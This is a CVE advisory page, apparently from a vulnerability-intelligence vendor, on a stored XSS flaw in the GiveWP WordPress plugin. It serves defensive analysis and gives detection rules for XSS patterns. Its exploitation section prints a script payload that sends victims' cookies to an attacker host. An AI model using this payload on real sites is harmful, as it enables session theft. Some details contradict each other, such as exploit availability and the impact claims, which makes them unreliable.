☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Givewp logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13206

CVE-2025-13206 Cross-Site Scripting in Givewp
📅 PUBLISHED: 2025-11-19 07:46 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13206 is a Stored Cross-Site Scripting (XSS) vulnerability in the GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress, affecting all versions up to and including 4.13.0. The flaw resides in the name parameter, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. These scripts execute when a user accesses a page containing the injected payload. The attack requires that avatars are enabled in the WordPress installation. The vulnerability has a CVSS score of 7.2 (High), indicating significant risk to confidentiality, integrity, and availability. No public exploit code or patch details are currently available, but the risk is elevated due to the unauthenticated nature of the attack vector.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress ecosystem, affecting the GiveWP plugin. It does not involve server-level software like Apache or Nginx. The attack leverages WordPress’s avatar feature to store malicious scripts, which are then served to visitors.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – Unauthenticated attackers can exploit.
  • User Interaction (UI): Required – A user must access the injected page.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited data modification possible.
  • Availability (A): None – No direct denial of service.

Threat Level: High. The unauthenticated nature and low complexity make this a prime target for mass exploitation, especially in WordPress environments with avatars enabled.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the GiveWP plugin. The name parameter, likely used for donor or comment names, is not properly sanitized before being stored in the database. When avatars are enabled, the plugin renders user-supplied names in a context that includes the avatar display. Because output escaping is insufficient, an attacker can inject JavaScript code that becomes part of the page content.

Attack Flow:

  1. Attacker submits a donation or comment with a malicious payload in the name field (e.g., <script>alert('XSS')</script>).
  2. The payload is stored in the WordPress database without proper sanitization.
  3. When a victim visits a page that displays the avatar (e.g., donor list, comment section), the payload executes in the victim’s browser.
  4. The attacker can then steal cookies, redirect users, or perform other malicious actions.

Prerequisite: Avatars must be enabled in WordPress settings (Settings > Discussion > Avatars). This is a common configuration, increasing the attack surface.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the GiveWP plugin’s avatar rendering function. The following is a hypothetical comparison based on typical XSS fixes.

Vulnerable Code (PHP):

function givewp_display_avatar($name) {
    echo '<img src="avatar.php?name=' . $name . '" alt="' . $name . '">';
}

Here, $name is directly concatenated into HTML attributes without escaping.

Patched Code (PHP):

function givewp_display_avatar($name) {
    $safe_name = esc_attr($name);
    echo '<img src="avatar.php?name=' . $safe_name . '" alt="' . $safe_name . '">';
}

The patched version uses esc_attr() to escape the name for safe HTML attribute output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress installation with GiveWP plugin <= 4.13.0.
  • Avatars enabled in WordPress settings.
  • A publicly accessible page that displays avatars (e.g., donor list).

Exploitation Steps:

  1. Identify a form or endpoint that accepts the name parameter (e.g., donation form, comment form).
  2. Submit a payload such as:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Ensure the payload is stored and rendered when avatars are displayed.
  4. Wait for an administrator or user to visit the page, triggering the XSS.

Note: No public exploit code is available, so this is a manual process.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual name parameter submissions containing <script>, onerror, or other HTML/JavaScript patterns.
  • Use web application firewalls (WAF) to block common XSS payloads.
  • Review server logs for requests to avatar-related endpoints with suspicious parameters.

Defense:

  • Disable avatars if not required (WordPress > Settings > Discussion > Avatar Display).
  • Apply input validation and output escaping to all user-supplied data.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /wp-json/givewp/v1/donors or similar endpoints with name parameter containing <script> tags.
    • Outbound connections to attacker-controlled domains from the WordPress server.
  • File IOCs:
    • Modified database entries in wp_give_donors or wp_comments tables with JavaScript payloads in the name column.
  • Behavioral IOCs:
    • Unexpected JavaScript execution on pages displaying avatars.
    • Unauthorized cookie theft or redirection.

Detection Engineering

YARA Rule

rule CVE_2025_13206_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in GiveWP name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13206"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-13206 GiveWP Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attempts via the name parameter in GiveWP plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'name='
        cs-uri-query|re: '(<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13206 GiveWP Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"name="; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Avatars: In WordPress, go to Settings > Discussion and uncheck "Avatar Display" to eliminate the attack vector.
  2. Apply Input Validation: Use WordPress functions like sanitize_text_field() and esc_attr() on all user-supplied data.
  3. Update Plugin: Monitor the GiveWP plugin page for a patched version (> 4.13.0) and apply it immediately.

Long-Term Measures:

  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Conduct regular security audits of WordPress plugins.
  • Educate users about the risks of enabling avatars.

Patch Status: No official patch is available. Users must rely on mitigations until an update is released.


Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13206/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.